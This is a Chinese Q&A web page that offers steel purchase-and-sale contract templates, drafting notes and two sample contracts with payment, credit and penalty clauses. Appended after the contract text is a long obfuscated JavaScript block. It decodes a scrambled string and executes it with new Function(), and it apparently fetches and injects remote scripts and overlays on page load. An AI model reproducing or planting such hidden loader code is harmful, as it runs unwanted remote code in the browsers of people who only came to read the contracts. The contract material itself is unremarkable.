推荐回答(3个)
供方(甲方)_______________________ 需方(乙方)_______________________
甲乙双方就钢材购销事宜经协商一致,订立合同如下:
一、品名、品种、规格、材质、数量 _______________________________________________________________
二、质量标准
_______________________________________________________________
三、产品单价及总金额
_______________________________________________________________
四、交货时间、地点、运输方式及费用负担
_______________________________________________________________
五、质量检验及验收方式
_______________________________________________________________
六、付款日期及结算方式
_______________________________________________________________
七、违约责任
_______________________________________________________________
八、争议的解决方式
_______________________________________________________________
九、其他约定事项
_______________________________________________________________
本合同一式份,双方当事人各执_________ 份。
供方(甲方)_____________ 法定代表人:_______________
开户行:___________________ 账号:_____________________
供方(乙方)_____________ 法定代表人:_______________
开户行:___________________ 账号:_____________________

扩展资料
产品名称、商标、规格型号、生产厂家、计量单位、数量、单价、金额、供货时间及数量等具体内容注意事项
1、名称要正确填写,不要写习惯名或自命名。
2、凡使用品牌、商标的产品,应特别注明品牌、商标和生产厂家。
3、规格型号,参考相应的物资目录、设备目录。
4、产品数量和计量方法,按国家或主管部门规定的计量方法执行;没有规定的,按双方商定的计量方法执行。
5、价格、金额,除国家规定必须执行国家定价的以外,由当事人协商议定。执行国家定价的,在合同规定的交付期限内国家价格调整时,按交付时的价格计价。
逾期交货的,遇价格上涨时,按原价格执行;价格下降时,按新价格执行。逾期提贷或者逾期付款的,遇价格上涨时,按新价格执行;价格下降时,按原价格执行;
6、供货期限,可以合同约定。一般来讲,提货的以乙方通知提货日期为准(应给甲方必要的途中时间),代办托运的以货交承运人为交货日期,送货的以送达目的地为准。
7、可以约定分批交货。
参考资料:百度百科-购销合同
钢材购销合同:

1、甲方向乙方采购螺纹钢、盘螺、线材等建筑用钢材,在乙方保证供应的前提下,合同签订后甲方所需材料均应向乙方采购,如在合同供应期间甲方在无特殊情况下超过一个月未从乙方提货或私自采购螺纹钢、盘螺、线材等建筑用钢材则视为甲方违约, 违约责任按本合同第七条第三款执行。
2、合同有效期:201 年_____月______日至201 年_____月______日止。
3、甲方每月25日前向乙方提供次月需要采购的钢材书面计划清单供乙方参考,月计划清单列明钢材的规格、型号、数量传真至乙方指定传真号××××××××,以备乙方提前配备货源,如甲方有特殊品种计划应提前书面通知乙方。
4、甲方指定专人到乙方仓库提货,提货时清点、验收货物,并在_____单上签收。提货人:___________,联系方式___________(身份证复印件附后)。
二、运输方式:甲方到乙方仓库(永州金属专线)内自提,运杂费、吊装费用由甲方承担,一票结算。
三、产品计量方式:螺纹钢理计交货。盘螺、线材磅计交货,以乙方仓库过磅单为准。甲方可以对乙方所供钢材进行全部或部分复磅,如磅差在0.3%以内(含0.3%),则以乙方仓库过磅单为准,如超过0.3%,甲方应通知乙方协商处理。
五、结算方式和付款时间:
1、本合同的付款方式为【电汇或银行转账】分为现款和赊销两种提货方式。
(1)、现款:先款后货,乙方支付相应货款后,甲方交付相应货物。
(2)、赊销:先货后款,在赊销方式下,乙方给予甲方最大欠款提货额度为200吨,即允许甲方欠款提货量在200吨以内,(以乙方出库单重量为准,含螺纹钢、盘螺、线材等),超过最大欠款提货额度200吨时甲方以先款后货方式提货。甲方200吨以内的提货货款从提货之日起以实际天数*月利率2%计算资金占用利息。
2、乙方出具提货单后,货物货权转移给甲方,否则为乙方所有。
六、质量要求及异议处理
1、乙方应按照现行国家标准配送材料,产品质保单应在交货的同日交付;没有质量保证书原件的,乙方提供质保书抄件。
2、钢材如有质量异议,甲方应在提货之日起三日内以书面形式向乙方提出并保管好有异议的货物,并提供异议产品的批组号、序号、生产日期等相关资料(建议保存好产品出产牌号)及书面通知,否则乙方不予受理。乙方在接到通知后必须派人员或会同生产厂商前往处理;对有异议钢材如经检验乙方所供钢材为不符合合同约定品牌的产品或以次充好的,乙方应及时予以退换,并承担相应的运杂费、复试费及其他应由乙方承担一切费用。若因钢材质量问题给甲方造成损失,由双方共同协商处理.对有异议钢材经检验为产品在出产时就已经存在质量问题的,乙方将协助甲方要求生产厂商进行处理,如对有异议的钢材经判定为合格的,甲方承担由此产生的一切费用。
4、甲方数量异议应在提货时当场提出,异议钢材应保持包装完整(即不拆包),甲方在接到异议通知起及时到现场处理,经双方现场确认后,按实际签认(螺纹钢按实际数量理计为准)。
七、违约责任
1、乙方须保证在合同执行过程中向甲方提供的所有资料或者文件是真实的。如乙方违背此诚信原则,甲方有权终止合同。
2、若甲方在合同供应过程中,按本合同以上条款执行, 乙方必须保证甲方的货源供应,如乙方无理由停止供货,则应赔偿甲方违约金10万元.若甲方在合同供应过程中私自从外面采购螺纹钢、盘螺、线材等建筑用钢材则应赔偿乙方违约金10万元。
八、解决合同纠纷的方式
1、本合同的纠纷原则上采取平等、公平、互谅的原则进行协商,并形成书面文件。
2、若协商不成,双方均有权向合同签订地人民法院提起诉讼。
九、附则
1. 本合同如有歧义,解释权在乙方。
2. 双方签订的补充协议与本合同具有同等法律效力。
3. 本合同一式贰份,双方各持壹份。
4. 本合同经双方代表人签名并加盖公章或合同章后生效。

我给你提供一份范本,如下:钢材购销合同(范本)供货方: (以下简称甲方)需货方: (以下简称乙方)担保方: (以下简称丙方) 乙方因工程建设的需要,向甲方购买钢材,丙方对乙方合同义务进行担保,为明确各方的权利义务,经各方平等友好协商,订立以下条款。 一、乙方 工程建设所需的钢材全部从甲方购买。未经甲方书面同意,乙方不得从其他渠道购买钢材(注:合同签订后,甲方每一次送货后,乙方未在一个月内向甲方再次发出书面的需货通知,则该情况视为乙方从其他渠道购买钢材,即为违约),否则,甲方视乙方违约,乙方违约应本合同第五条第3款的要求赔偿给甲方,同时甲方有权单方解除合同并要求乙方支付所有货款(含垫资款和到期货款)。 二、乙方根据工程进度的需要,分批向甲方购进所需钢材,乙方每次需货,应提前 天以传真方式(传真需加盖乙方公司公章)通知甲方所需钢材的规格、型号、数量、单价及货款价值,该传真应经甲方书面确认,甲方在确认后安排车辆将该钢材送到乙方上述工地现场,运费及吊装费由甲方承担。注:若乙方以电话方式通知甲方送货,则送货时间、地点、数量、单价、总金额以送货单所列示的信息为准,甲乙双方对签收的送货单无争议。 三、每批货物的价格参照上海西本钢铁贸易发展有限公司的当天市场价格上浮 元/吨计算,并以送货单确定的单价和总金额为结算依据。甲方所送钢材数量全部按理论重量或 计算。 四、钢材接收验收方式: 1.钢材交货地点为: 。 2.乙方授权本公司工作人员名字 ,身份证号码 ,工作人员名字 ,身份证号码 。负责收货并代表乙方签署收货单(或送货单),其签收视为乙方收货且对货款金额的确认,签收时该工作人员应出示身份证并在相应单据上注明身份证号码。乙方安排其他工作人员收货时,应由工作人员出示乙方出具的授权委托书或者由乙方能够直接在收货单上加盖公章,或由乙方单位法定代表人签字。 3.乙方收货后应先检测后使用,如未经检测先使用则视为合格。乙方收货如发现有质量问题应在收获起三日内书面通知甲方,并提出相关的检测报告,否则该批钢材的质量视为完全合格。经甲、乙双方确认钢材质量确实不合格后,甲方应将质量不合格的钢材运回,并承担运回所发生的运费,但甲方不承担其他责任,同时甲方在五日内换送合格钢材。 五、付款方式及期限: 1. 乙方的工程于 年 月 日开始至 年 月 日止,这期间总计钢材用量为 吨全由甲方供货。 2. 甲方先期垫资 吨钢材,以后每次送货到场后当场支付该批货款的 %,剩余 %的货款累计到满 吨货款时,则甲方为乙方实际垫资了 吨货款,该 吨钢材款自合同签订日起满 个月时即行全部支付;期间超出 吨的部分在货到时即行支付各批次货款,乙方应在当日以现金方式支付给甲方。如乙方未按前款规定如数支付材料款,甲方有权拒绝送货并有权把未使用的钢材运回(注:乙方应赔偿此批全部钢材来回运费及吊装费)并要求乙方支付所有货款(含垫资款和到期货款),同时乙方应承担应付钢材款及垫资款日计千分之 的违约金;另甲方有权就乙方付款不符(违反本合同付款规定)的行为单方解除合同。 3. 乙方应要求甲方在 年 月 日开始供应钢材,乙方要求甲方供货总量不少于 吨,若乙方需求数量不足合同数或乙方未在合同签订后 日内要求甲方供应钢材,乙方应适当补偿甲方由于垫资而造成的经济损失,乙方补偿给甲方以 吨钢材垫资款(按送货单确定的金额为准)为基数按人民银行同期贷款利息的四倍计算并支付给甲方作为补偿金。 六、甲、乙、丙三方应严格遵守本合同,乙方违约造成甲方解除合同的,乙方应在合同解除后十日内支付全部所欠钢材款并承担全部钢材欠款日计 %的违约金。 七、甲、乙、丙三方发生任何争议首先应协商解决,协商解决不成,提交甲方住所地人民法院诉讼处理。 八、丙方对乙方在本合同中应履行的所有义务包括但不限于垫资款、货款及违约责任的承负进行担保,担保期限自债务产生之日起到债务履行期满后二年。 九、本合同一式三份,甲、乙、丙三方各执一份,自三方签字盖章后生效。甲方(印章): 乙方(印章): 丙方(印章): 法定代表人: 法定代表人: 法定代表人:帐号: 帐号: 帐号:甲方代表: 乙方代表: 丙方代表:身份证号码: 身份证号码: 身份证号码:电话: 电话: 电话:地址: 地址: 地址:合同签订日期: 年 月 日 你可以根据自己的要求对上述条款进行修改,其实,律师也是在一份基本的合同上面根据客户的要求进行修改,完善的。
!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();